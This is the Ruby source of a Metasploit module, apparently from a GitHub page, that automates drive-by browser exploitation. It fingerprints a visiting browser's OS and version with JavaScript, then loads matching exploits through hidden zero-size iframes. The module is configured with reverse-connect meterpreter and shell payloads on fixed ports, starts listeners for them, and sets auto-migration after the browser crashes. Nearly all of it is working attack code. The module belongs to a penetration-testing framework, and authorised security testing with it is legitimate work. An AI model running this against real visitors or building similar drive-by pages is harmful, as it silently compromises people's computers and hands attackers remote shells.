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6300758 Jul 24, 2017
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@tabassassin @rcvalle
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# ideas:
# - add a loading page option so the user can specify arbitrary html to
# insert all of the evil js and iframes into
# - caching is busted when different browsers come from the same IP
require 'rex/exploitation/js/detect'
require 'rex/exploitation/jsobfu'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTP Client Automatic Exploiter',
'Description' => %q{
This module has three actions. The first (and the default)
is 'WebServer' which uses a combination of client-side and
server-side techniques to fingerprint HTTP clients and then
automatically exploit them. Next is 'DefangedDetection' which
does only the fingerprinting part. Lastly, 'list' simply
prints the names of all exploit modules that would be used by
the WebServer action given the current MATCH and EXCLUDE
options.
Also adds a 'list' command which is the same as running with
ACTION=list.
},
'Author' =>
[
# initial concept, integration and extension of Jerome
# Athias' os_detect.js
'egypt',
],
'License' => BSD_LICENSE,
'Actions' =>
[
[ 'WebServer', {
'Description' => 'Start a bunch of modules and direct clients to appropriate exploits'
} ],
[ 'DefangedDetection', {
'Description' => 'Only perform detection, send no exploits'
} ],
[ 'list', {
'Description' => 'List the exploit modules that would be started'
} ]
],
'PassiveActions' =>
[ 'WebServer', 'DefangedDetection' ],
'DefaultOptions' => {
# We know that most of these exploits will crash the browser, so
# set the default to run migrate right away if possible.
"InitialAutoRunScript" => "migrate -f",
},
'DefaultAction' => 'WebServer'))
register_options([
OptAddressLocal.new('LHOST', [true,
'The IP address to use for reverse-connect payloads'
])
])
register_advanced_options([
OptString.new('AutoRunScript', [false, "A script to automatically on session creation.", '']),
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
OptRegexp.new('MATCH', [false,
'Only attempt to use exploits whose name matches this regex'
]),
OptRegexp.new('EXCLUDE', [false,
'Only attempt to use exploits whose name DOES NOT match this regex'
]),
OptBool.new('DEBUG_AUTOPWN', [false,
'Do not obfuscate the javascript and print various bits of useful info to the browser',
false
]),
OptPort.new('LPORT_WIN32', [false,
'The port to use for Windows reverse-connect payloads', 3333
]),
OptString.new('PAYLOAD_WIN32', [false,
'The payload to use for Windows reverse-connect payloads',
'windows/meterpreter/reverse_tcp'
]),
OptPort.new('LPORT_LINUX', [false,
'The port to use for Linux reverse-connect payloads', 4444
]),
OptString.new('PAYLOAD_LINUX', [false,
'The payload to use for Linux reverse-connect payloads',
'linux/meterpreter/reverse_tcp'
]),
OptPort.new('LPORT_MACOS', [false,
'The port to use for Mac reverse-connect payloads', 5555
]),
OptString.new('PAYLOAD_MACOS', [false,
'The payload to use for Mac reverse-connect payloads',
'osx/meterpreter/reverse_tcp'
]),
OptPort.new('LPORT_GENERIC', [false,
'The port to use for generic reverse-connect payloads', 6666
]),
OptString.new('PAYLOAD_GENERIC', [false,
'The payload to use for generic reverse-connect payloads',
'generic/shell_reverse_tcp'
]),
OptPort.new('LPORT_JAVA', [false,
'The port to use for Java reverse-connect payloads', 7777
]),
OptString.new('PAYLOAD_JAVA', [false,
'The payload to use for Java reverse-connect payloads',
'java/meterpreter/reverse_tcp'
]),
OptPort.new('LPORT_ANDROID', [false,
'The port to use for Java reverse-connect payloads', 8888
]),
OptString.new('PAYLOAD_ANDROID', [false,
'The payload to use for Android reverse-connect payloads',
'android/meterpreter/reverse_tcp'
])
])
@exploits = Hash.new
@payloads = Hash.new
@targetcache = Hash.new
@current_victim = Hash.new
@handler_job_ids = []
end
##
# CommandDispatcher stuff
##
def auxiliary_commands
{
'list' => "%red#{self.refname}%clr: List the exploits as filtered by MATCH and EXCLUDE"
}
end
def cmd_list(*args)
print_status("Listing Browser Autopwn exploits:")
print_line
@exploits = {}
each_autopwn_module do |name, mod|
@exploits[name] = nil
print_line name
end
print_line
print_status("Found #{@exploits.length} exploit modules")
end
##
# Actual exploit stuff
##
def run
if (action.name == 'list')
cmd_list
elsif (action.name == 'DefangedDetection')
# Do everything we'd normally do for exploits, but don't start any
# actual exploit modules
exploit()
else
start_exploit_modules()
if @exploits.length < 1
print_error("No exploits, check your MATCH and EXCLUDE settings")
return false
end
exploit()
end
end
def setup
print_status("Setup")
@init_js = ::Rex::Exploitation::Js::Detect.os(<<-ENDJS
#{js_base64}
function make_xhr() {
var xhr;
try {
xhr = new XMLHttpRequest();
} catch(e) {
try {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
} catch(e) {
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if (! xhr) {
throw "failed to create XMLHttpRequest";
}
return xhr;
}
function report_and_get_exploits(detected_version) {
var encoded_detection;
xhr = make_xhr();
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
//var ta = document.createElement("textarea");
//ta.rows = ta.cols = 100;
//ta.value = xhr.responseText;
//document.body.appendChild(ta)
eval(xhr.responseText);
}
};
encoded_detection = new String();
#{js_debug('navigator.userAgent+"<br><br>"')}
for (var prop in detected_version) {
#{js_debug('prop + " " + detected_version[prop] +"<br>"')}
encoded_detection += detected_version[prop] + ":";
}
#{js_debug('"<br>"')}
encoded_detection = Base64.encode(encoded_detection);
xhr.open("GET", document.location + "?sessid=" + encoded_detection);
xhr.send(null);
}
function bodyOnLoad() {
var detected_version = os_detect.getVersion();
//#{js_debug('detected_version')}
report_and_get_exploits(detected_version);
} // function bodyOnLoad
ENDJS
)
if (datastore['DEBUG_AUTOPWN'])
print_status("NOTE: Debug Mode; javascript will not be obfuscated")
else
pre = Time.now
#
# 2/12/2015: Obfuscation is disabled because this is currently breaking BrowserAutoPwn
#
#print_status("Obfuscating initial javascript #{pre}")
#@init_js.obfuscate
#print_status "Done in #{Time.now - pre} seconds"
end
#@init_js << "window.onload = #{@init_js.sym("bodyOnLoad")};";
@init_html = %Q|<html > <head > <title > Loading </title>\n|
@init_html << %Q|<script language="javascript" type="text/javascript">|
@init_html << %Q|<!-- \n #{@init_js} //-->|
@init_html << %Q|</script> </head> |
@init_html << %Q|<body onload="#{@init_js.sym("bodyOnLoad")}()"> |
@init_html << %Q|<div id="foo"></div> |
@init_html << %Q|<noscript> \n|
# Don't use build_iframe here because it will break detection in
# DefangedDetection mode when the target has js disabled.
@init_html << %Q|<iframe src="#{self.get_resource}?ns=1"></iframe>|
@init_html << %Q|</noscript> \n|
@init_html << %Q|</body> </html> |
#
# I'm still not sold that this is the best way to do this, but random
# LPORTs causes confusion when things break and breakage when firewalls
# are in the way. I think the ideal solution is to have
# self-identifying payloads so we'd only need 1 LPORT for multiple
# stagers.
#
@win_lport = datastore['LPORT_WIN32']
@win_payload = datastore['PAYLOAD_WIN32']
@lin_lport = datastore['LPORT_LINUX']
@lin_payload = datastore['PAYLOAD_LINUX']
@osx_lport = datastore['LPORT_MACOS']
@osx_payload = datastore['PAYLOAD_MACOS']
@gen_lport = datastore['LPORT_GENERIC']
@gen_payload = datastore['PAYLOAD_GENERIC']
@java_lport = datastore['LPORT_JAVA']
@java_payload = datastore['PAYLOAD_JAVA']
@android_lport = datastore['LPORT_ANDROID']
@android_payload = datastore['PAYLOAD_ANDROID']
minrank = framework.datastore['MinimumRank'] || 'manual'
if not RankingName.values.include?(minrank)
print_error("MinimumRank invalid! Possible values are (#{RankingName.sort.map{|r|r[1]}.join("|")})")
wlog("MinimumRank invalid, ignoring", 'core', LEV_0)
end
@minrank = RankingName.invert[minrank]
end
def init_exploit(name, mod = nil, targ = 0)
if mod.nil?
@exploits[name] = framework.modules.create(name)
else
@exploits[name] = mod.new
end
@exploits[name] = framework.modules.reload_module(@exploits[name])
# Reloading failed
unless @exploits[name]
@exploits.delete(name)
return
end
apo = @exploits[name].class.autopwn_opts
if (apo[:rank] < @minrank)
@exploits.delete(name)
return false
end
case name
when %r{windows}
payload = @win_payload
lport = @win_lport
=begin
#
# Some day, we'll support Linux and Mac OS X here..
#
when %r{linux}
payload = @lin_payload
lport = @lin_lport
when %r{osx}
payload = @osx_payload
lport = @osx_lport
=end
# We need to check that it's /java_ instead of just java since it would
# clash with things like mozilla_navigatorjava. Better would be to
# check the actual platform of the module here but i'm lazy.
when %r{/java_}
payload = @java_payload
lport = @java_lport
when %r{^android/}
payload = @android_payload
lport = @android_lport
else
payload = @gen_payload
lport = @gen_lport
end
@payloads[lport] = payload
print_status("Starting exploit #{name} with payload #{payload}")
@exploits[name].datastore['SRVHOST'] = datastore['SRVHOST']
@exploits[name].datastore['SRVPORT'] = datastore['SRVPORT']
# For testing, set the exploit uri to the name of the exploit so it's
# easy to tell what is happening from the browser.
if (datastore['DEBUG_AUTOPWN'])
@exploits[name].datastore['URIPATH'] = name
else
# randomize it manually since if a saved value exists in the user's
# configuration, the saved value will get used if we set it to nil
@exploits[name].datastore['URIPATH'] = Rex::Text.rand_text_alpha(rand(10) + 4)
end
@exploits[name].datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
@exploits[name].datastore['MODULE_OWNER'] = self.owner
@exploits[name].datastore['ParentUUID'] = datastore["ParentUUID"] if datastore["ParentUUID"]
@exploits[name].datastore['AutopwnUUID'] = self.uuid
@exploits[name].datastore['LPORT'] = lport
@exploits[name].datastore['LHOST'] = @lhost
@exploits[name].datastore['SSL'] = datastore['SSL']
@exploits[name].datastore['SSLVersion'] = datastore['SSLVersion']
@exploits[name].datastore['EXITFUNC'] = datastore['EXITFUNC'] || 'thread'
@exploits[name].datastore['DisablePayloadHandler'] = true
@exploits[name].exploit_simple(
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'Target' => targ,
'Payload' => payload,
'RunAsJob' => true)
# It takes a little time for the resources to get set up, so sleep for
# a bit to make sure the exploit is fully working. Without this,
# mod.get_resource doesn't exist when we need it.
Rex::ThreadSafe.sleep(0.5)
# Make sure this exploit got set up correctly, return false if it
# didn't
if framework.jobs[@exploits[name].job_id.to_s].nil?
print_error("Failed to start exploit module #{name}")
@exploits.delete(name)
return false
end
# Since r9714 or so, exploit_simple copies the module instead of
# operating on it directly when creating a job. Put the new copy into
# our list of running exploits so we have access to its state. This
# allows us to get the correct URI for each exploit in the same manor
# as before, using mod.get_resource().
@exploits[name] = framework.jobs[@exploits[name].job_id.to_s].ctx[0]
return true
end
def start_exploit_modules()
@lhost = (datastore['LHOST'] || "0.0.0.0")
@noscript_tests = {}
@all_tests = {}
print_line
print_status("Starting exploit modules on host #{@lhost}...")
print_status("---")
print_line
each_autopwn_module do |name, mod|
# Start the module. If that fails for some reason, don't bother
# adding tests for it.
next if !(init_exploit(name))
apo = mod.autopwn_opts.dup
apo[:name] = name.dup
apo[:vuln_test] ||= ""
if apo[:classid]
# Then this is an IE exploit that uses an ActiveX control,
# build the appropriate tests for it.
apo[:vuln_test] = ""
apo[:ua_name] = HttpClients::IE
conditions = []
if apo[:classid].kind_of?(Array) # then it's many classids
apo[:classid].each { |clsid|
if apo[:method].kind_of?(Array) # then it's many methods
conditions += apo[:method].map { |m| "testAXO('#{clsid}', '#{m}')" }
else
conditions.push "testAXO('#{clsid}', '#{method}')"
end
}
end
apo[:vuln_test] << "if (#{conditions.join("||")}) {\n"
apo[:vuln_test] << " is_vuln = true;\n"
apo[:vuln_test] << "}\n"
end
# If the exploit supplies a min/max version, build up a test to
# check for the proper version. Note: The version comparison
# functions come from javascriptosdetect.
js_d_ver = @init_js.sym("detected_version")
if apo[:ua_minver] and apo[:ua_maxver]
ver_test =
"!#{@init_js.sym("ua_ver_lt")}(#{js_d_ver}['ua_version'], '#{apo[:ua_minver]}') && " +
"!#{@init_js.sym("ua_ver_gt")}(#{js_d_ver}['ua_version'], '#{apo[:ua_maxver]}')"
elsif apo[:ua_minver]
ver_test = "!#{@init_js.sym("ua_ver_lt")}(#{js_d_ver}['ua_version'], '#{apo[:ua_minver]}')\n"
elsif apo[:ua_maxver]
ver_test = "!#{@init_js.sym("ua_ver_gt")}(#{js_d_ver}['ua_version'], '#{apo[:ua_maxver]}')\n"
else
ver_test = nil
end
# if we built a version check above, add it to the normal test
if ver_test
test = "if (#{ver_test}) { "
test << (apo[:vuln_test].empty? ? "is_vuln = true;" : apo[:vuln_test])
test << "} else { is_vuln = false; }\n"
apo[:vuln_test] = test
end
# Now that we've got all of our exploit tests put together,
# organize them into an all tests (JS and no-JS), organized by rank,
# and doesnt-require-scripting (no-JS), organized by browser name.
if apo[:javascript] && apo[:ua_name]
@all_tests[apo[:rank]] ||= []
@all_tests[apo[:rank]].push(apo)
elsif apo[:javascript]
@all_tests[apo[:rank]] ||= []
@all_tests[apo[:rank]].push(apo)
elsif apo[:ua_name]
@noscript_tests[apo[:ua_name]] ||= []
@noscript_tests[apo[:ua_name]].push(apo)
@all_tests[apo[:rank]] ||= []
@all_tests[apo[:rank]].push(apo)
else
@noscript_tests["generic"] ||= []
@noscript_tests["generic"].push(apo)
@all_tests[apo[:rank]] ||= []
@all_tests[apo[:rank]].push(apo)
end
end
# start handlers for each type of payload
[@win_lport, @lin_lport, @osx_lport, @gen_lport, @java_lport].each do |lport|
if (lport and @payloads[lport])
print_status("Starting handler for #{@payloads[lport]} on port #{lport}")
multihandler = framework.modules.create("exploit/multi/handler")
multihandler.datastore['MODULE_OWNER'] = self.datastore['MODULE_OWNER']
multihandler.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
multihandler.datastore['ParentUUID'] = datastore["ParentUUID"] if datastore["ParentUUID"]
multihandler.datastore['CAMPAIGN_ID'] = datastore["CAMPAIGN_ID"] if datastore["CAMPAIGN_ID"]
multihandler.datastore['ParentModule'] = self.fullname
multihandler.datastore['AutopwnUUID'] = self.uuid
multihandler.datastore['LPORT'] = lport
multihandler.datastore['LHOST'] = @lhost
multihandler.datastore['ExitOnSession'] = false
multihandler.datastore['EXITFUNC'] = datastore['EXITFUNC'] || 'thread'
multihandler.datastore["ReverseListenerBindAddress"] = datastore["ReverseListenerBindAddress"]
# XXX: Revisit this when we have meterpreter working on more than just windows
if (lport == @win_lport or lport == @java_lport)
multihandler.datastore['AutoRunScript'] = datastore['AutoRunScript']
multihandler.datastore['AutoSystemInfo'] = datastore['AutoSystemInfo']
multihandler.datastore['InitialAutoRunScript'] = datastore['InitialAutoRunScript']
end
multihandler.exploit_simple(
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'Payload' => @payloads[lport],
'RunAsJob' => true)
@handler_job_ids.push(multihandler.job_id)
end
end
# let the handlers get set up
Rex::ThreadSafe.sleep(0.5)
print_line
print_status("--- Done, found %bld%grn#{@exploits.length}%clr exploit modules")
print_line
# Sort the tests by reliability, descending.
# I don't like doing this directly (wihout a !), but any other sort wasn't sticking - NE
@all_tests = @all_tests.sort.reverse
# This matters a lot less for noscript exploits since they basically
# get thrown into a big pile of iframes that the browser will load
# semi-concurrently. Still, might as well.
@noscript_tests.each { |browser,tests|
tests.sort! {|a,b| b[:rank] <=> a[:rank]}
}
end
#
# Main dispatcher method for when we get a request
#
def on_request_uri(cli, request)
print_status("Handling '#{request.uri}'")
case request.uri
when self.get_resource
# This is the first request. Send the javascript fingerprinter and
# hope it sends us back some data. If it doesn't, javascript is
# disabled on the client and we will have to do a lot more
# guessing.
response = create_response()
response["Expires"] = "0"
response["Cache-Control"] = "must-revalidate"
response.body = @init_html
cli.send_response(response)
when %r{^#{self.get_resource}.*sessid=}
# This is the request for the exploit page when javascript is
# enabled. Includes the results of the javascript fingerprinting
# in the "sessid" parameter as a base64 encoded string.
record_detection(cli, request)
if (action.name == "DefangedDetection")
response = create_response()
response.body = "#{js_debug("'Please wait'")}"
else
response = build_script_response(cli, request)
end
response["Expires"] = "0"
response["Cache-Control"] = "must-revalidate"
cli.send_response(response)
when %r{^#{self.get_resource}.*ns=1}
# This is the request for the exploit page when javascript is NOT
# enabled. Since scripting is disabled, fall back to useragent
# detection, which is kind of a bummer since it's so easy for the
# ua string to lie. It probably doesn't matter that much because
# most of our exploits require javascript anyway.
print_status("Browser has javascript disabled, trying exploits that don't need it")
record_detection(cli, request)
if (action.name == "DefangedDetection")
response = create_response()
response.body = "Please wait"
else
response = build_noscript_response(cli, request)
end
response["Expires"] = "0"
response["Cache-Control"] = "must-revalidate"
cli.send_response(response)
else
print_status("404ing #{request.uri}")
send_not_found(cli)
return false
end
end
def html_for_exploit(autopwn_info, client_info)
html = ""
html << (autopwn_info[:prefix_html] || "") + "\n"
html << build_iframe(exploit_resource(autopwn_info[:name])) + "\n"
html << (autopwn_info[:postfix_html] || "") + "\n"
if (HttpClients::IE == autopwn_info[:ua_name])
html = "<!--[if IE]>\n#{html}\n<![endif]-->\n"
end
html
end
def build_noscript_html(cli, request)
client_info = get_client(:host => cli.peerhost, :ua_string => request['User-Agent'])
body = ""
sploit_cnt = 0
@noscript_tests.each { |browser, sploits|
next if sploits.length == 0
next unless client_matches_browser(client_info, browser)
sploits.each do |s|
body << html_for_exploit( s, client_info )
end
sploit_cnt += 1
}
print_status("Responding with #{sploit_cnt} non-javascript exploits")
body
end
def build_noscript_response(cli, request)
response = create_response()
response['Expires'] = '0'
response['Cache-Control'] = 'must-revalidate'
response.body = "<html > <head > <title > Loading </title> </head> "
response.body << "<body> "
response.body << "Please wait "
response.body << build_noscript_html(cli, request)
response.body << "</body> </html> "
return response
end
#
# Build some javascript that attempts to determine which exploits to run
# for the victim's OS and browser.
#
# Returns a raw javascript string to be eval'd on the victim
#
def build_script_response(cli, request)
response = create_response()
response['Expires'] = '0'
response['Cache-Control'] = 'must-revalidate'
# Host info no longer comes from the database! This is strictly a value
# that came back from javascript OS detection because NAT basically
# makes it impossible to keep host/client mappings straight.
client_info = get_client(:host => cli.peerhost, :ua_string => request['User-Agent'])
host_info = client_info[:host]
#print_status("Client info: #{client_info.inspect}")
js = "var global_exploit_list = []\n";
# If we didn't get a client from the database, then the detection
# is borked or the db is not connected, so fallback to sending
# some IE-specific stuff with everything. Do the same if the
# exploit didn't specify a client. Otherwise, make sure this is
# IE before sending code for ActiveX checks.
if (client_info.nil? || [nil, HttpClients::IE].include?(client_info[:ua_name]))
# If we have a class name (e.g.: "DirectAnimation.PathControl"),
# use the simple and direct "new ActiveXObject()". If we
# have a classid instead, first try creating the object
# with createElement("object"). However, some things
# don't like being created this way (specifically winzip),
# so try writing out an object tag as well. One of these
# two methods should succeed if the object with the given
# classid can be created.
js << <<-ENDJS
window.testAXO = function(axo_name, method) {
if (axo_name.substring(0,1) == String.fromCharCode(123)) {
axobj = document.createElement("object");
axobj.setAttribute("classid", "clsid:" + axo_name);
axobj.setAttribute("id", axo_name);
axobj.setAttribute("style", "visibility: hidden");
axobj.setAttribute("width", "0px");
axobj.setAttribute("height", "0px");
document.body.appendChild(axobj);
if (typeof(axobj[method]) == 'undefined') {
var attributes = 'id="' + axo_name + '"';
attributes += ' classid="clsid:' + axo_name + '"';
attributes += ' style="visibility: hidden"';
attributes += ' width="0px" height="0px"';
document.body.innerHTML += "<object " + attributes + "></object>";
axobj = document.getElementById(axo_name);
}
} else {
try {
axobj = new ActiveXObject(axo_name);
} catch(e) {
// If we can't build it with an object tag and we can't build it
// with ActiveXObject, it can't be built.
return false;
};
}
#{js_debug('axo_name + "." + method + " = " + typeof axobj[method] + "<br/>"')}
if (typeof(axobj[method]) != 'undefined') {
return true;
}
return false;
};
ENDJS
# End of IE-specific test functions
end
# Generic stuff that is needed regardless of what browser was detected.
js << <<-ENDJS
var written_iframes = new Array();
window.write_iframe = function (myframe) {
var iframe_idx; var mybody;
for (iframe_idx in written_iframes) {
if (written_iframes[iframe_idx] == myframe) {
return;
}
}
written_iframes[written_iframes.length] = myframe;
str = '';
str += '<iframe src="' + myframe + '" style="visibility:hidden" height="0" width="0" border="0"></iframe>';
document.body.innerHTML += (str);
};
window.next_exploit = function(exploit_idx) {
#{js_debug("'next_exploit(' + exploit_idx +')<br>'")}
if (!global_exploit_list[exploit_idx]) {
#{js_debug("'End<br>'")}
return;
}
#{js_debug("'trying ' + global_exploit_list[exploit_idx].resource + ' of ' + global_exploit_list.length + '<br>'")}
// Wrap all of the vuln tests in a try-catch block so a
// single borked test doesn't prevent other exploits
// from working.
try {
var test = global_exploit_list[exploit_idx].test;
// Debugging
//tn = document.createTextNode("Test " + exploit_idx +"\\n");
//br = document.createElement("br");
//document.body.appendChild(tn);
//document.body.appendChild(br);
//tn = document.createTextNode(test);
//document.body.appendChild(tn);
if (!test) {
test = "true";
}
if (eval(test)) {
#{js_debug("'test says it is vuln, writing iframe for ' + global_exploit_list[exploit_idx].resource + '<br>'")}
window.write_iframe(global_exploit_list[exploit_idx].resource);
setTimeout("window.next_exploit(" + (exploit_idx+1).toString() + ")", 1000);
} else {
#{js_debug("'this client does not appear to be vulnerable to ' + global_exploit_list[exploit_idx].resource + '<br>'")}
window.next_exploit(exploit_idx+1);
}
} catch(e) {
#{js_debug("'test threw an exception: ' + e.message + '<br />'")}
window.next_exploit(exploit_idx+1);
};
};
ENDJS
sploits_for_this_client = []
sploit_cnt = 0
# if we have no client_info, this will add all tests. Otherwise tries
# to only send tests for exploits that target the client's detected
# browser.
@all_tests.each { |rank, sploits|
sploits.each { |s|
browser = s[:ua_name] || "generic"
next unless client_matches_browser(client_info, browser)
# Send all the generics regardless of what the client is. If the
# client is nil, then we don't know what it really is, so just err
# on the side of shells and send everything. Otherwise, send only
# if the client is using the browser associated with this set of
# exploits.
if s[:javascript]
if (browser == "generic" || client_info.nil? || [nil, browser].include?(client_info[:ua_name]))
if s[:vuln_test].nil? or s[:vuln_test].empty?
test = "is_vuln = true"
else
# get rid of newlines and escape quotes
test = s[:vuln_test].gsub("\n",'').gsub("'", "\\\\'")
end
# shouldn't be any in the resource, but just in case...
res = exploit_resource(s[:name]).gsub("\n",'').gsub("'", "\\\\'")
# Skip exploits that don't match the client's OS.
if (host_info and host_info[:os_name] and s[:os_name])
# Reject exploits whose OS doesn't match that of the
# victim. Note that host_info comes from javascript OS
# detection, NOT the database.
# Note that the os_name could be a string, a regex, or
# an array of strings and regexes.
if host_info[:os_name] != "undefined"
unless client_matches_module_spec?(host_info[:os_name], s[:os_name])
vprint_status("Rejecting #{s[:name]} for non-matching OS")
next
end
end
end
js << "global_exploit_list[global_exploit_list.length] = {\n"
js << " 'test':'#{test}',\n"
js << " 'resource':'#{res}'\n"
js << "};\n"
sploits_for_this_client.push s[:name]
sploit_cnt += 1
end
else
if s[:name] =~ %r|/java_|
res = exploit_resource(s[:name]).gsub("\n",'').gsub("'", "\\\\'")
js << "global_exploit_list[global_exploit_list.length] = {\n"
js << " 'test':'is_vuln = navigator.javaEnabled()',\n"
js << " 'resource':'#{res}'\n"
js << "};\n"
else
# Some other kind of exploit that we can't generically
# check for in javascript, throw it on the pile.
noscript_html << html_for_exploit(s, client_info)
end
sploits_for_this_client.push s[:name]
sploit_cnt += 1
end
}
}
js << "#{js_debug("'starting exploits (' + global_exploit_list.length + ' total)<br>'")}\n"
js << "window.next_exploit(0);\n"
#
# 2/12/2015: Obfuscation is disabled because this is currently breaking BrowserAutoPwn
#
#js = ::Rex::Exploitation::JSObfu.new(js)
#js.obfuscate unless datastore["DEBUG_AUTOPWN"]
response.body = "#{js}"
print_status("Responding with #{sploit_cnt} exploits")
sploits_for_this_client.each do |name|
vprint_status("* #{name}")
end
return response
end
#
# Determines whether a browser string matches an exploit module specification
# Example: :os_name => ( 'Windows' | /Windows/ | ['Windows', 'Mac OS X'] )
#
def client_matches_module_spec?(client_str, module_spec)
case module_spec
when ::String
return !! (client_str == module_spec)
when ::Regexp
return !! client_str.match(module_spec)
when ::Array
return !! exploit_spec.map{ |spec|
client_matches_module_spec?(client_str, spec)
}.include?(true)
end
false
end
#
# Yields each module that exports autopwn_info, filtering on MATCH and EXCLUDE options
#
def each_autopwn_module(&block)
m_regex = datastore["MATCH"]
e_regex = datastore["EXCLUDE"]
framework.exploits.each_module do |name, mod|
if mod.respond_to?("autopwn_opts") and
(m_regex.blank? or name =~ m_regex) and
(e_regex.blank? or name !~ e_regex)
yield name, mod
end
end
end
#
# Returns true if an exploit for +browser+ (one of the +OperatingSystems+
# constants) should be sent for a particilar client. +client_info+ should
# be something returned by +get_client+.
#
# If +client_info+ is nil then get_client failed and we have no
# knowledge of this client, so we can't assume anything about their
# browser. If the exploit does not specify a browser target, that
# means it it is generic and will work anywhere (or at least be
# able to autodetect). If the currently connected client's ua_name
# is nil, then the fingerprinting didn't work for some reason.
# Lastly, check to see if the client's browser matches the browser
# targetted by this group of exploits. In all of these cases, we
# need to send all the exploits in the list.
#
# In contrast, if we have all of that info and it doesn't match, we
# don't need to bother sending it.
#
def client_matches_browser(client_info, browser)
if client_info and browser and client_info[:ua_name]
if browser != "generic" and client_info[:ua_name] != browser
vprint_status("Rejecting exploits for #{browser}")
return false
end
end
true
end
# consider abstracting this out to a method (probably
# with a different name) of Msf::Auxiliary::Report or
# Msf::Exploit::Remote::HttpServer
def record_detection(cli, request)
os_name = nil
os_flavor = nil
os_sp = nil
os_lang = nil
os_device = nil
os_vendor = nil
arch = nil
ua_name = nil
ua_ver = nil
data_offset = request.uri.index('sessid=')
#p request['User-Agent']
if (data_offset.nil? or -1 == data_offset)
# then we didn't get a report back from our javascript
# detection; make a best guess effort from information
# in the user agent string. The OS detection should be
# roughly the same as the javascript version on non-IE
# browsers because it does most everything with
# navigator.userAgent
print_status("Recording detection from User-Agent: #{request['User-Agent']}")
report_user_agent(cli.peerhost, request)
else
data_offset += 'sessid='.length
detected_version = request.uri[data_offset, request.uri.length]
if (0 < detected_version.length)
detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version))
print_status("JavaScript Report: #{detected_version}")
(os_name, os_vendor, os_flavor, os_device, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':')
if framework.db.active
note_data = { }
note_data['os.product'] = os_name if os_name != 'undefined'
note_data['os.vendor'] = os_vendor if os_vendor != 'undefined'
note_data['os.edition'] = os_flavor if os_flavor != 'undefined'
note_data['os.device'] = os_device if os_device != 'undefined'
note_data['os.version'] = os_sp if os_sp != 'undefined'
note_data['os.language'] = os_lang if os_lang != 'undefined'
note_data['os.arch'] = arch if arch != 'undefined'
note_data['os.certainty'] = '0.7'
print_status("Reporting: #{note_data.inspect}")
# Reporting stuff isn't really essential since we store all
# the target information locally. Make sure any exception
# raised from the report_* methods doesn't prevent us from
# sending exploits. This is really only an issue for
# connections from localhost where we end up with
# ActiveRecord::RecordInvalid errors because 127.0.0.1 is
# blacklisted in the Host validations.
begin
# Report a generic fingerprint.match note for the OS normalizer
# Previously we reported a javascript_fingerprint type but this
# was never used.
report_note({
:host => cli.peerhost,
:ntype => 'fingerprint.match',
:data => note_data,
:update => :unique_data,
})
client_info = {
:host => cli.peerhost,
:ua_string => request['User-Agent'],
:ua_name => ua_name,
:ua_ver => ua_ver
}
report_client(client_info)
rescue ::Interrupt
raise $!
rescue ::Exception => e
elog("Reporting failed: #{e.class} : #{e.message} #{e.backtrace}")
end
end
end
end
# Always populate the target cache since querying the database is too
# slow for real-time.
key = cli.peerhost + request['User-Agent']
@targetcache ||= {}
@targetcache[key] ||= {}
@targetcache[key][:updated_at] = Time.now.to_i
# Clean the cache
rmq = []
@targetcache.each_key do |addr|
if (Time.now.to_i > @targetcache[addr][:updated_at]+60)
rmq.push addr
end
end
rmq.each {|addr| @targetcache.delete(addr) }
# Keep the attributes the same as if it were created in
# the database.
@targetcache[key][:updated_at] = Time.now.to_i
@targetcache[key][:ua_string] = request['User-Agent']
@targetcache[key][:ua_name] = ua_name
@targetcache[key][:ua_ver] = ua_ver
@targetcache[key][:host] = {}
@targetcache[key][:host][:os_name] = os_name
@targetcache[key][:host][:os_vendor] = os_vendor
@targetcache[key][:host][:os_flavor] = os_flavor
@targetcache[key][:host][:os_device] = os_device
@targetcache[key][:host][:os_sp] = os_sp
@targetcache[key][:host][:os_lang] = os_lang
end
# Override super#get_client to use a cache since the database is generally
# too slow to be useful for realtime tasks. This essentially creates an
# in-memory database. The upside is that it works if the database is
# broken (which seems to be all the time now).
def get_client(opts)
host = opts[:host]
return @targetcache[opts[:host]+opts[:ua_string]]
end
def build_iframe(resource)
ret = ''
if (action.name == 'DefangedDetection')
ret << "<p>iframe #{resource}</p>"
else
ret << %Q|<iframe src="#{resource}" style="visibility:hidden" height="0" width="0" border="0"></iframe>|
#ret << %Q|<iframe src="#{resource}" ></iframe>|
end
return ret
end
def exploit_resource(name)
if (@exploits[name] && @exploits[name].respond_to?("get_resource"))
#print_line("Returning #{@exploits[name].get_resource.inspect}, for #{name}")
return @exploits[name].get_resource
else
print_error("Don't have an exploit by that name, returning 404#{name}.html")
return "404#{name}.html"
end
end
def js_debug(msg)
if datastore['DEBUG_AUTOPWN']
return "document.body.innerHTML += #{msg};"
end
return ""
end
def cleanup
print_status("Cleaning up exploits...")
@exploits.each_pair do |name, mod|
# if the module died for some reason, we can't kill it
next unless mod
framework.jobs[mod.job_id.to_s].stop if framework.jobs[mod.job_id.to_s]
end
@handler_job_ids.each do |id|
framework.jobs[id.to_s].stop if framework.jobs[id.to_s]
end
super
end
end